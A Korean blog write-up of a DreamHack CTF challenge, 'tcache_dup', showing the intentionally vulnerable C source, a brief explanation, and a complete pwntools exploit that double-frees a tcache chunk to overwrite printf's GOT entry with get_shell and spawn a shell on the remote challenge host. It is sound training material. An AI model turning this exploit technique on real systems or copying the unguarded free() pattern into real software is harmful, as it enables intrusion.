Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] stage12_문제풀이(tcache_dup) 본문

Hack/DreamHack(로드맵)

[System_Hacking] stage12_문제풀이(tcache_dup)

CIDY 2022. 7. 10. 00:23
// gcc -o tcache_dup tcache_dup.c -no-pie
// 64-bit, canary, nx, partial relro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[10];

void alarm_handler() {
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int create(int cnt) {
    int size;

    if(cnt > 10) {
        return -1; 
    }
    printf("Size: ");
    scanf("%d", &size);

    ptr[cnt] = malloc(size);

    if(!ptr[cnt]) {
        return -1;
    }

    printf("Data: ");
    read(0, ptr[cnt], size);
}

int delete() {
    int idx;

    printf("idx: ");
    scanf("%d", &idx);

    if(idx > 10) {
        return -1; 
    }

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}

int main() {
    int idx;
    int cnt = 0;

    initialize();

    while(1) {
        printf("1. Create\n");
        printf("2. Delete\n");
        printf("> ");
        scanf("%d", &idx);

        switch(idx) {
            case 1:
                create(cnt);
                cnt++;
                break;
            case 2:
                delete();
                break;
            default:
                break;
        }
    }

    return 0;
}

 

일단 remote해보면 이 친구는 더블프리를 막아두지 않았다. 그리고 파셜렐로니까 got overwrite를 할 수 있을 것 같다. 

 

일단 할당 -> 더플프리 -> 할당하면서 printf의 got 적어줌 -> 아무거나 사이즈 같게 하나 할당 -> 겟쉘 적어주면서 하나 할당.

 

tcache에 넣어주는거라 LIFO라서 아무거나 사이즈 같게 하나 할당해주면 처음 할당됐다가 free됐던애가 used로 나가고 -> 거기서 한번 더 할당해주면 fd로 연결되었으니 그게 바로 printf의 got영역, 즉 진짜 주소가 적혀있는 곳인데 -> 거기 겟쉘의 주소를 적어주는 방식으로 got - overwrite할 수 있는 것이다. 

 

from pwn import *

p = remote("host3.dreamhack.games", 11636)
#p = process("./tcache_dup")
e = ELF("./tcache_dup")

def create(size, data):
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.recvuntil(b"Size: ")
    p.sendline(str(size))
    p.recvuntil(b"Data: ")
    p.send(data)

def delete(idx):
    p.recvuntil(b"> ")
    p.sendline(b"2")
    p.recvuntil(b"idx: ")
    p.sendline(str(idx))

create(0x30, b"A")
delete(0)
delete(0)

create(0x30, p64(e.got['printf']))
create(0x30, b"B")

create(0x30, p64(e.sym['get_shell']))

p.interactive()